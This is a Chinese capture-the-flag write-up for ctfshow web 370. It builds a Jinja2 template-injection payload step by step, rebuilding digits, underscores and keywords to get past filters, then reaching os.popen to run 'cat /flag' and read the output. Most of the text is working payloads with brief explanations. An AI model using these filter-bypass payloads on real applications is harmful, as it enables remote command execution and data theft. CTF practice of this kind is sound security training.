由于request被过滤,我们就不能再使用传参的方式进行传递命令以及被过滤的关键字,下划线中括号花括号都被过滤,这样的话我们就只能使用{%%}来进行设置变量以及拼接方法的方式来进行利用SSTI漏洞。
但是ctfshow web入门370关相对于ctfshow web入门369关多过滤数字,就是我们不能使用数字作为索引值来获取我们想要的字符了。这时就是需要我们自己来创造数字了。
我们本篇还是先研究如何拿到本关的flag值,然后讲解绕过的原理。
由于双花括号被过滤,所以我们使用{%%}来判断。因为数字过滤了,我们也不能使用?name={%print 123%}来观察页面是否输出123来判断。
这时我们可以通过if条件来判断即:
{%if 条件%}result{%endif%}
这条语句是,如果if的条件正确,就会输出result,否则输出空。
这样的话我们传入参数?name={%if not a%}yes{%endif%},观察页面是否输出yes,如果输出yes,则代表有SSTI模板注入漏洞。
其中 语句中的a默认是false,前面加一个not就是true。
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%if not a%}yes{%endif%}
为了下面拼接payload方便,我们先把数字全给获取了。
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%print (one,two,three,four,five,six,seven,eight,nine)%}
我们还是使用payload:
(lipsum|attr("__globals__").get("os").popen("cat /flag").read()
我们要从lipsum|string|list中获取下划线,就需要使用pop()方法。pop方法可以根据索引值来删除列中的某个元素并将该元素返回值返回。
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set pop=dict(pop=a)|join%}
{%print pop%}
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}{%print xiahuaxian%}
OK,拿到下划线。
接下来就可以获得__globals__了。
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print globals%}
获取os模块,我们是通过get方法获得的,所以我们还要获得get。
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set% get=dict(get=a)|join%}
{%print get%}
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)%}
我们还是先获取popen字段
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set popen=dict(popen=a)|join%}
{%print popen%}
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set%20get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)|attr(popen)%}
执行命令我们还是得先拼接命令,我们还是通过chr函数来获得命令的每个字符,我们首先还是要获得chr函数。
获取chr函数——>(lipsum|attr("__globals__")).get("__builtins__").get("chr")
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print builtins%}
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set%20get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%print char%}
我们使用chr()获取命令的每个字符,然后拼接起来。
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set%20get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%print command%}
由于popen方法返回的是一个file对象,所以shell命令执行的结果我们还要使用read()来读取才能看到执行结果。
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set read=dict(read=a)|join%}
{%print read%}
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%set read=dict(read=a)|join%}{%print (lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}
由于在我的上篇文章SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369)已经做过部分绕过原理(包括 lipsum|attr()、()|join、dict()|join、lipsum|string|list的介绍)的介绍,本篇文章我们就只介绍上关没有涉及到的绕过。
我们知道dict()|join是将字典中的key值进行拼接,那dict()|join|count就是得到key值后得到字符串的长度。
例如:
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/?name={%set a=dict(aaaa=b)|join|count%}{%print a%}
http://72f41f67-ebc9-49ef-b8b0-77bce7aac9a2.challenge.ctf.show/?name={%set a=dict(aaaa=b)|join|length%}{%print a%}